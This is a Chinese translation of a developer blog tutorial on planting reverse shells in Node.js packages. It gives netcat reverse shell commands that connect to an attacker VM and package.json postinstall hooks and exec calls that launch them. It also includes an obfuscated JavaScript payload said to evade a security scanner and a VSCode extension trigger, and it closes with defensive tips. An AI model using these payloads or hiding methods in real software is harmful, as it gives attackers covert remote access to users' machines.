使用 Node.js 中的反向 Shell 攻击获取计算机的远程访问权限

2025-05-24

使用 Node.js 中的反向 Shell 攻击获取计算机的远程访问权限

最初发布在我的博客上

我最近学习了什么是反向shell,并迫不及待地想通过Node.js模块尝试一下这种攻击。这篇文章将介绍我的思路以及我尝试过的各种方案。

⚠️重要提示⚠️

  • 我写这篇博文仅用于教育目的。未经他人许可进行反向shell攻击是违法的;我唯一的动机是分享知识,提高人们的自我保护意识。
  • 对于您决定如何使用本帖中分享的信息,我不承担任何责任。

什么是反向shell?

反向shell是一种允许一台计算机远程访问另一台计算机的工具。如果您想在多台计算机之间传输文件,或者访问存储在另一台计算机和网络上的所需信息,它会非常有用。然而,它也可能被用来发动攻击,让受害者在不知情的情况下发起与攻击者系统的远程shell连接,从而使攻击者几乎完全访问其系统。

如果您想想您可能熟悉的 shell 命令,例如ls列出目录的文件、pwd显示当前目录的路径或nano编辑文件的内容;反向 shell 允许攻击者在目标系统上不知情的情况下运行这些命令

如何创建反向shell

执行反向shell的常用工具是netcat。如果你使用的是macOS,它应该默认安装。你可以nc -help在终端窗口中运行netcat进行检查。

使用本地网络上的私有 IP 地址

您可以在同一网络上的两台计算机之间运行一个反向 shell 的简单示例。

在第一台计算机上,启动两个不同端口的监听器,例如一个在端口 80,另一个在端口 53。



# Command tested on macOS, the path to netcat is different on other OS
/usr/bin/nc -l 80


Enter fullscreen mode Exit fullscreen mode


/usr/bin/nc -l 53


Enter fullscreen mode Exit fullscreen mode

该标志-l以监听模式启动 netcat,因此它将监听这两个端口上发生的流量。

在第二台计算机上运行以下命令:



nc <first-computer-IP-address> 80 | /bin/sh | nc <first-computer-IP-address> 53


Enter fullscreen mode Exit fullscreen mode

该命令启动与上述指定的两个端口上的第一台计算机的连接,并指示在端口 80 上接收的任何命令都应作为 bash 命令执行,并将结果发送到端口 53。

下面是此代码运行的示例。我在公寓里安装了一台 Raspberry Pi 作为第二台计算机,并与我的笔记本电脑连接到同一网络。在终端中,我ssh在第一个窗格中进入 Pi。第二个和第三个窗格分别在端口 80 和 53 上启动监听器。
监听器准备就绪后,我在 Pi 中运行 netcat 命令。从那里,我可以从我的笔记本电脑访问它的文件系统。我在监听端口 80 的终端窗口中运行lswhoami和等命令pwd,结果显示在最右侧的第三个窗格中。我还可以将文件的名称从test.js更改为index.js

GIF 演示展示了如何在 Raspberry Pi 上运行反向 shell 并从我的笔记本电脑访问它

你可以想象这个工具有多么有用,例如,如果你想在同一网络上的两台计算机之间轻松传输文件。

使用公共 IP 地址

在上面的例子中,我展示了如何在同一网络上的计算机之间创建反向 shell,但是,当运行此攻击以访问受害者的计算机时,两个设备可能会连接到不同的网络,因此上述代码将不起作用。

确实,上一节中显示的代码示例使用了我本地网络上设备的私有 IP 地址。这个私有 IP 地址无法从我的家庭网络外部访问。

为了能够使用公共 IP 地址,我决定使用Linode创建一个虚拟机 (VM),目标和攻击者都可以连接到该虚拟机。

虚拟机启动完成后,我将上面代码中的私有 IP 地址替换成了虚拟机的公网 IP 地址。
为了方便理解,我们假设这个 IP 地址是 10.10.10.10。

从我的笔记本电脑,我使用以下命令连接到我的虚拟机:



ssh root@10.10.10.10


Enter fullscreen mode Exit fullscreen mode

从那里,可以运行与上一节中所示的类似的命令。



nc -l 80 -s 10.10.10.10


Enter fullscreen mode Exit fullscreen mode


nc -l 53 -s 10.10.10.10


Enter fullscreen mode Exit fullscreen mode

附加部分-s用于指示sourceIP 地址,即虚拟机的公共 IP 地址。

然后,在目标计算机上,需要运行以下命令:



nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;


Enter fullscreen mode Exit fullscreen mode

附加功能disown用于在后台连续运行程序,并exit 0用于终止程序,以便终端看起来程序似乎仍在执行(尽管它确实在执行)。

一旦运行这些命令,我​​就可以访问第二台计算机的系统,无论它是在我的家庭网络内部还是外部。

那么现在,我们如何才能获得一个目标来运行它呢?

在 Node.js 模块中运行反向 shell

几周前,我写了一篇关于如何在 Node.js 模块中运行勒索软件攻击的文章,本着同样的精神,我探索了使用相同媒介运行反向 shell 攻击的几种不同方法。

安装后

运行此命令的一种方法是利用postinstall模块package.json文件的属性。此命令在包安装完成后立即运行,因此甚至不需要目标导入和使用它。

这可以通过两种方式完成,首先,直接运行命令:



"scripts": {
    "postinstall": "nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | exit 0;"
},


Enter fullscreen mode Exit fullscreen mode

或者在单独的 JavaScript 文件中运行该命令:



"scripts": {
    "postinstall": "node index.js"
},


Enter fullscreen mode Exit fullscreen mode

尽管使用postinstall可以工作,但如果用户决定在安装软件包之前查看源代码,那么它可能看起来很明显,特别是如果直接运行该命令,那么该软件包可能会很快被标记。

如果postinstall正在运行 JS 文件,它可能看起来不太明显,但它如何启动反向 shell?

使用 exec 或 execFile

要在 JS 文件中运行此命令,您可以使用execexecFile

exec执行传递给函数的命令:



const { exec } = require("child_process");

exec("nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;")

process.exit(0);


Enter fullscreen mode Exit fullscreen mode

execFile执行一个文件,例如script.sh



const { execFile } = require("child_process");

execFile("bash", ["script.sh"], () => {})

process.exit(0);


Enter fullscreen mode Exit fullscreen mode

该 shell 脚本将包含 netcat 命令:



#!/bin/bash
nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;


Enter fullscreen mode Exit fullscreen mode

它可以作为文件添加到存储库中,也可以从其他来源获取,以避免引起注意。

一旦设置了反向 shell,攻击者就可以窃取、删除或加密文件、安装工具等等。

上面显示的解决方案被诸如Socket之类的安全工具所采用,这些工​​具可以标记使用诸如exec和 之类的潜在不安全代码execFile

Socket UI 的屏幕截图,显示模块访问系统 shell 的警告。

那么,有什么方法可以更有效地隐藏这种攻击呢?

隐藏反向shell的方法

我可以考虑几种方法来做到这一点,其中一些涉及技术解决方案,而另一些则涉及更多地考虑人们使用 Node.js 模块的环境。

文件混淆(和缩小?)

安全工具在标记 Node.js 模块中潜在的不安全代码方面越来越好,然而,一旦混淆,就很难知道一段代码是否包含漏洞。

举个例子,实现的混淆 JavaScript 如下exec所示:



function _0x3994(_0x565d93, _0x46b188) { const _0x1edb91 = _0x1edb(); return _0x3994 = function (_0x39942b, _0x46c9b8) { _0x39942b = _0x39942b - 0x7f; let _0x45df05 = _0x1edb91[_0x39942b]; return _0x45df05; }, _0x3994(_0x565d93, _0x46b188); } const _0x14c021 = _0x3994; function _0x1edb() { const _0x315a4c = ['3456290MInyns', '144422gpQMch', '582536EjKPYz', 'nc\x20192.168.4.32\x2080\x20|\x20/bin/sh\x20|\x20nc\x20192.168.4.32\x2053\x20|\x20disown\x20|\x20exit\x200;', 'child_process', '4931696ptslNj', '892792JPSbno', '1315ymqHPE', 'exit', '18xLEENc', '847KPUPMs', '6036cCpfRb', '17700Neccgv', '3QTYiZY']; _0x1edb = function () { return _0x315a4c; }; return _0x1edb(); } (function (_0x9e95f2, _0x2951fb) { const _0x37d8ea = _0x3994, _0x2bcaca = _0x9e95f2(); while (!![]) { try { const _0x55a257 = parseInt(_0x37d8ea(0x86)) / 0x1 + parseInt(_0x37d8ea(0x8b)) / 0x2 * (-parseInt(_0x37d8ea(0x84)) / 0x3) + -parseInt(_0x37d8ea(0x82)) / 0x4 * (-parseInt(_0x37d8ea(0x8c)) / 0x5) + -parseInt(_0x37d8ea(0x83)) / 0x6 * (-parseInt(_0x37d8ea(0x81)) / 0x7) + parseInt(_0x37d8ea(0x87)) / 0x8 * (-parseInt(_0x37d8ea(0x80)) / 0x9) + -parseInt(_0x37d8ea(0x85)) / 0xa + parseInt(_0x37d8ea(0x8a)) / 0xb; if (_0x55a257 === _0x2951fb) break; else _0x2bcaca['push'](_0x2bcaca['shift']()); } catch (_0x151b06) { _0x2bcaca['push'](_0x2bcaca['shift']()); } } }(_0x1edb, 0x63d54)); const { exec } = require(_0x14c021(0x89)); exec(_0x14c021(0x88)), process[_0x14c021(0x7f)](0x0);


Enter fullscreen mode Exit fullscreen mode

这段代码仍然有效,但不再被标记。你可以想象,软件包作者可以将这段代码隐藏在其软件包的精简版本中,并建议人们使用该版本来提高性能。

我还通过压缩原始代码进行了测试,结果仍然清晰可读。结果如下:



const{exec:exec}=require("child_process");exec("nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;"),process.exit(0);


Enter fullscreen mode Exit fullscreen mode

默认情况下,如果 package.json 的“main”字段中未将“index.min.js”指定为导出文件,Socket 不会标记任何问题。但是,一旦更改为“index.min.js”,安全问题就会显示在 UI 中。

Socket UI 的屏幕截图显示了模块的最小化代码访问系统 shell 的警告。

VSCode 扩展

尽管 VSCode 扩展是 NPM 软件包,但用户安装它们的方式是通过 VSCode 编辑器,因此人们很可能为了一键安装的便利而忽略了先检查扩展的代码。扩展在公开发布之前可能会经过安全检查,但一些攻击已经通过扩展实施

创建扩展程序时,您可以指定代码的运行时间,包括启动编辑器时。为此,您可以将值*onStartupFinished指定为activationEvents。这将调用该activate函数,只需添加一行代码即可修改该函数以运行反向shell:



exec("nc 192.168.4.29 81 | /bin/sh | nc 192.168.4.29 53 | disown | exit 0;")


Enter fullscreen mode Exit fullscreen mode

为了尝试一下,我按照官方文档创建了一个小型的“Hello World”扩展。我在activate函数中添加了上面显示的代码行,在扩展开发主机窗口中运行并激活了它。下面是结果,展示了我如何从我的 Raspberry Pi 访问我的个人笔记本电脑。

我不确定扩展在公开发布之前会经过什么样的安全流程,但开发人员也可以通过 GitHub 而不是 VSCode Marketplace 来提供他们的扩展。这样,即使该扩展因安全原因被拒绝,攻击者仍可能尝试通过指示用户手动安装来使其可用。

Electron 应用

Electron 应用程序也是用 Node.js 编写的,无需先检查源代码即可安装。
看看这份Electron 应用程序列表,很容易就能想象出如何创建一个带有隐藏反向 Shell 的小型生产力应用程序。

人们该如何保护自己?

进行此项实验的一个有趣方面是思考人们如何保护自己免受此类攻击。

到目前为止,我能想到的有几个选择:

  • 使用众多可用的安全工具之一并注意其警告。
  • 在安装和使用开源工具之前,请检查其源代码。
  • 在虚拟机或在线沙箱(例如CodeSandboxStackBlitzGithub CodeSpaces)中运行您的项目
  • 为了具体检查反向 shell 攻击,您可以ps在终端中运行命令来检查当前正在运行的进程,并终止任何看起来可疑的进程。
  • 当使用 NPM 包的最小化版本时,请复制该工具的非最小化版本,自行最小化并比较结果,以确保它不包含一些意外的代码。
  • 停止反向 shell 建立的连接的一种方法是关闭/打开你的计算机,但是,如果隐藏在你经常使用的包中,则连接将在你使用该包时重新启动。

其中一些解决方案可能听起来有点不切实际,但根据您愿意承担的风险,这绝对是值得考虑的事情。

结论

运行反向 shell 的方法可能比我在这里探讨的更多,但我希望这篇文章能让你更好地理解什么是反向 shell、如何创建反向 shell,并提高对使用开源包相关风险的认识。

文章来源:https://dev.to/devdevcharlie/gaining-remote-access-to-a-computer-with-a-reverse-shell-attack-in-nodejs-3a40
PREV
使用 JavaScript 演奏空气鼓
NEXT
使用手势在 Figma 中构建 UI